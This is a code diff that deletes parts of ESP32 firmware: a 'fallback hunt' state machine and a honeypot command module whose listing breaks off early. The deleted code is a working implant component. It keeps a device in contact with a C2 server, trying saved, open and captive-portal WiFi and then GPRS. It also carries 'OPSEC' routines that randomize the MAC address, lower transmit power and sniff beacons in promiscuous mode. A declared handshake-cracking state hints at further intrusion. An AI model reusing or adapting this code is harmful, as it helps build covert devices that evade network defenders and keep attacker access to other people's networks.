/* Init NVS namespace + migrate from old rt_cfg if needed. */
void fb_config_init(void);
bool fb_config_net_add(const char *ssid, const char *pass);
bool fb_config_net_remove(const char *ssid);
int fb_config_net_list(fb_network_t *out, int max_count);
int fb_config_net_count(void);
/* ============================================================
* C2 fallback addresses
* ============================================================ */
typedef struct {
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
} fb_c2_addr_t;
bool fb_config_c2_add(const char *addr);
bool fb_config_c2_remove(const char *addr);
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
int fb_config_c2_count(void);
/* ============================================================
* Original MAC storage (for restoration)
* ============================================================ */
void fb_config_save_orig_mac(void);
bool fb_config_get_orig_mac(uint8_t mac[6]);
#ifdef __cplusplus
}
#endif

View File

@ -1,703 +0,0 @@
/*
* fb_hunt.c
* Fallback hunt state machine autonomous network recovery.
* FreeRTOS task (8KB stack, Core 1).
*
* Pipeline: known networks open WiFi + captive bypass loop
* No C2 commands needed auto-triggered on TCP failure.
*/
#include "sdkconfig.h"
#include "fb_hunt.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_stealth.h"
#include "fb_captive.h"
static const char *TAG = "FB_HUNT";
#define FB_HUNT_STACK 8192
#define FB_HUNT_PRIO 6
#define FB_WIFI_TIMEOUT_MS 8000
#define FB_TCP_TIMEOUT_S 5
#define FB_RESCAN_DELAY_S 60
/* Event bits for WiFi events */
#define FB_EVT_GOT_IP BIT0
#define FB_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile fb_state_t s_state = FB_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static atomic_bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
static bool s_skip_gprs = false;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[FB_IDLE] = "idle",
[FB_STEALTH_PREP] = "stealth_prep",
[FB_PASSIVE_SCAN] = "passive_scan",
[FB_TRYING_KNOWN] = "trying_known",
[FB_TRYING_OPEN] = "trying_open",
[FB_PORTAL_CHECK] = "portal_check",
[FB_PORTAL_BYPASS] = "portal_bypass",
[FB_C2_VERIFY] = "c2_verify",
[FB_HANDSHAKE_CRACK] = "handshake_crack",
[FB_GPRS_DIRECT] = "gprs_direct",
[FB_CONNECTED] = "connected",
};
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(fb_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
return false;
}
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & FB_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(FB_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(FB_CONNECTED);
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
}
/* ============================================================
* WiFi scan
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} fb_candidate_t;
#define FB_MAX_CANDIDATES 32
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_clear_ap_list();
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
fb_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
}
/* ============================================================
* Strategy 1: Try known networks (original WiFi + NVS)
* ============================================================ */
static bool try_known_networks(void)
{
set_state(FB_TRYING_KNOWN);
/* Try original WiFi config first (the one we were connected to) */
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
(char *)s_orig_wifi_config.sta.ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
(char *)s_orig_wifi_config.sta.password,
FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
return true;
}
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
}
}
/* Then try NVS known networks */
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
if (net_count == 0) {
ESP_LOGI(TAG, "No additional known networks in NVS");
return false;
}
for (int n = 0; n < net_count; n++) {
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
if (verify_c2_reachable()) {
mark_connected(nets[n].ssid, "known");
return true;
}
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
}
}
return false;
}
/* ============================================================
* Strategy 2: Try open WiFi networks + captive portal bypass
* ============================================================ */
static bool try_open_networks(void)
{
set_state(FB_TRYING_OPEN);
for (int i = 0; i < s_candidate_count; i++) {
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
continue;
if (s_candidates[i].ssid[0] == '\0')
continue; /* hidden */
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
s_candidates[i].ssid, s_candidates[i].rssi);
#ifdef CONFIG_FB_STEALTH
fb_stealth_randomize_mac();
#endif
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
/* Check for captive portal */
set_state(FB_PORTAL_CHECK);
fb_portal_status_t portal = fb_captive_detect();
if (portal == FB_PORTAL_NONE) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
} else if (portal == FB_PORTAL_DETECTED) {
set_state(FB_PORTAL_BYPASS);
if (fb_captive_bypass()) {
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open+portal");
return true;
}
}
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
s_candidates[i].ssid);
} else {
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
if (verify_c2_reachable()) {
mark_connected(s_candidates[i].ssid, "open");
return true;
}
}
}
}
return false;
}
/* ============================================================
* Hunt task main state machine
* ============================================================ */
extern atomic_bool fb_active; /* defined in WiFi.c */
#ifdef CONFIG_NETWORK_WIFI
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
#endif
/* ============================================================
* WiFi lazy init (for GPRS primary mode)
* ============================================================ */
#ifdef CONFIG_FB_WIFI_FALLBACK
static bool s_wifi_inited = false;
static void ensure_wifi_init(void)
{
if (!s_wifi_inited) {
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
extern void wifi_init(void);
wifi_init();
s_wifi_inited = true;
vTaskDelay(pdMS_TO_TICKS(2000));
}
}
#endif
/* ============================================================
* Strategy 3: GPRS direct (WiFi primary mode only)
* ============================================================ */
#ifdef CONFIG_FB_GPRS_FALLBACK
static bool try_gprs_direct(void)
{
if (s_skip_gprs) {
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
return false;
}
set_state(FB_GPRS_DIRECT);
ESP_LOGI(TAG, "Trying GPRS direct connection");
setup_uart();
setup_modem();
if (!connect_gprs() || !connect_tcp()) {
close_tcp_connection();
ESP_LOGW(TAG, "GPRS direct failed");
return false;
}
mark_connected("GPRS", "gprs");
/* Mini RX loop via GPRS — stays here until hunt is stopped */
while (s_active) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
close_tcp_connection();
return false; /* Hunt was stopped externally */
}
#endif /* CONFIG_FB_GPRS_FALLBACK */
static void hunt_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fallback hunt task started");
#ifdef CONFIG_FB_WIFI_FALLBACK
/* In GPRS mode, WiFi may not be initialized yet */
ensure_wifi_init();
#endif
/* Save MAC before we randomize it */
fb_stealth_save_original_mac();
fb_config_save_orig_mac();
/* Save original WiFi config */
if (!s_orig_config_saved) {
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
s_orig_config_saved = true;
}
/* Take control of WiFi from normal reconnect logic */
fb_active = true;
#ifdef CONFIG_NETWORK_WIFI
wifi_pause_reconnect();
#endif
/* Register our event handler */
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler, NULL);
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler, NULL);
while (s_active) {
/* ---- STEALTH PREP ---- */
#ifdef CONFIG_FB_STEALTH
set_state(FB_STEALTH_PREP);
fb_stealth_randomize_mac();
fb_stealth_low_tx_power();
vTaskDelay(pdMS_TO_TICKS(100));
#endif
/* ---- SCAN ---- */
set_state(FB_PASSIVE_SCAN);
do_wifi_scan();
/* ---- STRATEGY 1: Known networks ---- */
if (s_active && try_known_networks()) break;
/* ---- STRATEGY 2: Open networks + captive portal ---- */
if (s_active && try_open_networks()) break;
#ifdef CONFIG_FB_GPRS_FALLBACK
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
if (s_active && try_gprs_direct()) break;
#endif
/* ---- All strategies failed — wait and rescan ---- */
if (!s_active) break;
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
FB_RESCAN_DELAY_S);
set_state(FB_IDLE);
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
}
/* ---- Cleanup ---- */
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
&fb_wifi_event_handler);
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
&fb_wifi_event_handler);
if (s_state == FB_CONNECTED) {
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_tx_power();
#endif
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
} else {
/* Restore original WiFi config */
#ifdef CONFIG_FB_STEALTH
fb_stealth_restore_mac();
fb_stealth_restore_tx_power();
#endif
if (s_orig_config_saved) {
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
}
fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
wifi_resume_reconnect();
#endif
esp_wifi_connect();
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
}
s_task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
const char *fb_hunt_state_name(fb_state_t state)
{
if (state <= FB_CONNECTED)
return state_names[state];
return "unknown";
}
fb_state_t fb_hunt_get_state(void)
{
state_lock();
fb_state_t st = s_state;
state_unlock();
return st;
}
bool fb_hunt_is_active(void)
{
return s_active;
}
const char *fb_hunt_connected_ssid(void)
{
static char ssid_copy[33];
state_lock();
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
state_unlock();
return ssid_copy;
}
const char *fb_hunt_connected_method(void)
{
static char method_copy[16];
state_lock();
memcpy(method_copy, s_connected_method, sizeof(method_copy));
state_unlock();
return method_copy;
}
void fb_hunt_init(void)
{
if (!s_state_mutex) {
s_state_mutex = xSemaphoreCreateMutex();
}
if (!s_evt_group) {
s_evt_group = xEventGroupCreate();
}
ESP_LOGI(TAG, "Hunt init done");
}
void fb_hunt_set_skip_gprs(bool skip)
{
s_skip_gprs = skip;
}
void fb_hunt_trigger(void)
{
if (s_active) {
ESP_LOGW(TAG, "Hunt already active");
return;
}
/* Ensure init (safety net if called before register_commands) */
fb_hunt_init();
s_skip_gprs = false; /* Reset per-hunt */
s_active = true;
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
BaseType_t ret = xTaskCreatePinnedToCore(
hunt_task,
"fb_hunt",
FB_HUNT_STACK,
NULL,
FB_HUNT_PRIO,
&s_task_handle,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create hunt task");
s_active = false;
}
}
void fb_hunt_stop(void)
{
if (!s_active) return;
s_active = false;
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
/* Only reset state if task actually exited */
if (s_task_handle == NULL) {
state_lock();
s_state = FB_IDLE;
s_connected_ssid[0] = '\0';
s_connected_method[0] = '\0';
state_unlock();
} else {
ESP_LOGW(TAG, "Hunt task did not exit in time");
}
ESP_LOGI(TAG, "Hunt stopped");
}
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -1,65 +0,0 @@
/*
* fb_hunt.h
* Fallback hunt state machine autonomous network recovery.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* Hunt states
* ============================================================ */
typedef enum {
FB_IDLE,
FB_STEALTH_PREP,
FB_PASSIVE_SCAN,
FB_TRYING_KNOWN,
FB_TRYING_OPEN,
FB_PORTAL_CHECK,
FB_PORTAL_BYPASS,
FB_C2_VERIFY,
FB_HANDSHAKE_CRACK,
FB_GPRS_DIRECT,
FB_CONNECTED,
} fb_state_t;
/* ============================================================
* API
* ============================================================ */
/* Trigger the hunt (start the state machine task if not running).
* Called automatically by WiFi.c on TCP failure. */
void fb_hunt_trigger(void);
/* Stop the hunt, restore original WiFi + MAC + TX power. */
void fb_hunt_stop(void);
/* Get current state. */
fb_state_t fb_hunt_get_state(void);
/* Get state name as string. */
const char *fb_hunt_state_name(fb_state_t state);
/* Is the hunt task currently running? */
bool fb_hunt_is_active(void);
/* Get the SSID we connected to (empty if none). */
const char *fb_hunt_connected_ssid(void);
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
const char *fb_hunt_connected_method(void);
/* Init mutex and event group (call from register_commands). */
void fb_hunt_init(void);
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
void fb_hunt_set_skip_gprs(bool skip);
#ifdef __cplusplus
}
#endif

View File

@ -1,253 +0,0 @@
/*
* fb_stealth.c
* OPSEC: MAC randomization, TX power control, passive scan.
*/
#include "sdkconfig.h"
#include "fb_stealth.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "FB_STEALTH";
/* ============================================================
* MAC randomization
* ============================================================ */
static uint8_t s_orig_mac[6] = {0};
static bool s_mac_saved = false;
void fb_stealth_save_original_mac(void)
{
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
s_mac_saved = true;
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_randomize_mac(void)
{
uint8_t mac[6];
esp_fill_random(mac, 6);
mac[0] &= 0xFE; /* unicast */
mac[0] |= 0x02; /* locally administered */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
if (err == ESP_OK) {
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
} else {
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_mac(void)
{
if (s_mac_saved) {
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_get_current_mac(uint8_t mac[6])
{
esp_wifi_get_mac(WIFI_IF_STA, mac);
}
/* ============================================================
* TX power control
* ============================================================ */
void fb_stealth_low_tx_power(void)
{
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
if (err == ESP_OK) {
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
} else {
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_tx_power(void)
{
esp_wifi_set_max_tx_power(80); /* 20 dBm */
ESP_LOGI(TAG, "TX power restored to 20 dBm");
}
/* ============================================================
* Passive scan promiscuous mode beacon capture
* ============================================================ */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
#define BEACON_FIXED_LEN 12
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
static volatile int s_scan_count = 0;
static int find_bssid(const uint8_t bssid[6])
{
for (int i = 0; i < s_scan_count; i++) {
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
return i;
}
return -1;
}
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
uint16_t fc = hdr->frame_ctrl;
uint8_t subtype = (fc >> 4) & 0x0F;
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
const uint8_t *bssid = hdr->addr3;
int idx = find_bssid(bssid);
if (idx >= 0) {
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
}
return;
}
if (s_scan_count >= FB_MAX_SCAN_APS) return;
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
return;
const uint8_t *body = pkt->payload + body_offset;
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
if (body_len > 4) body_len -= 4;
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, 6);
ap->rssi = pkt->rx_ctrl.rssi;
ap->channel = pkt->rx_ctrl.channel;
ap->auth_mode = 0;
size_t pos = 0;
while (pos + 2 <= body_len) {
uint8_t tag_id = body[pos];
uint8_t tag_len = body[pos + 1];
if (pos + 2 + tag_len > body_len) break;
if (tag_id == 0) {
size_t ssid_len = tag_len;
if (ssid_len > 32) ssid_len = 32;
memcpy(ap->ssid, body + pos + 2, ssid_len);
ap->ssid[ssid_len] = '\0';
} else if (tag_id == 48) {
ap->auth_mode = 3;
} else if (tag_id == 221) {
if (tag_len >= 4 &&
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
if (ap->auth_mode == 0) ap->auth_mode = 2;
}
}
pos += 2 + tag_len;
}
s_scan_count++;
}
int fb_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
return 0;
}
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
return 0;
}
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
int channels = 13;
int hop_ms = 200;
int elapsed = 0;
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
esp_wifi_set_promiscuous(false);
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;
}
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
{
int count = s_scan_count;
if (count > max_count) count = max_count;
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
return count;
}
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
#include <string.h>
void fb_stealth_save_original_mac(void) {}
void fb_stealth_randomize_mac(void) {}
void fb_stealth_restore_mac(void) {}
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
void fb_stealth_low_tx_power(void) {}
void fb_stealth_restore_tx_power(void) {}
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -1,37 +0,0 @@
/*
* fb_stealth.h
* OPSEC: MAC randomization, TX power control, passive scanning.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
void fb_stealth_save_original_mac(void);
void fb_stealth_randomize_mac(void);
void fb_stealth_restore_mac(void);
void fb_stealth_get_current_mac(uint8_t mac[6]);
void fb_stealth_low_tx_power(void);
void fb_stealth_restore_tx_power(void);
int fb_stealth_passive_scan(int duration_ms);
typedef struct {
uint8_t bssid[6];
char ssid[33];
int8_t rssi;
uint8_t channel;
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
} fb_scan_ap_t;
#define FB_MAX_SCAN_APS 32
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -1,6 +0,0 @@
idf_component_register(
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
INCLUDE_DIRS . services
REQUIRES core nvs_flash lwip esp_wifi freertos
)

View File

@ -1,308 +0,0 @@
/*
* cmd_honeypot.c
* Honeypot command registration and dispatch.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*
* Commands (8 total, fits within 32-command budget):
* hp_svc <service> <start|stop|status>
* hp_wifi <start|stop|status>
* hp_net <start|stop|status>
* hp_config_set <type> <key> <value>
* hp_config_get <type> <key>
* hp_config_list [type]
* hp_config_reset
* hp_status
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "utils.h"
#include "hp_config.h"
#include "hp_tcp_services.h"
#include "hp_wifi_monitor.h"
#include "hp_net_monitor.h"
#define TAG "HONEYPOT"
/* ============================================================
* COMMAND: hp_svc <service> <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_svc(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *svc_name = argv[0];
const char *action = argv[1];
int id = hp_svc_name_to_id(svc_name);
if (id < 0) {
char buf[64];
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
msg_error(TAG, buf, req);
return ESP_ERR_INVALID_ARG;
}
if (strcmp(action, "start") == 0) {
hp_svc_start((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "stop") == 0) {
hp_svc_stop((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_wifi <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_wifi(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_wifi_monitor_start();
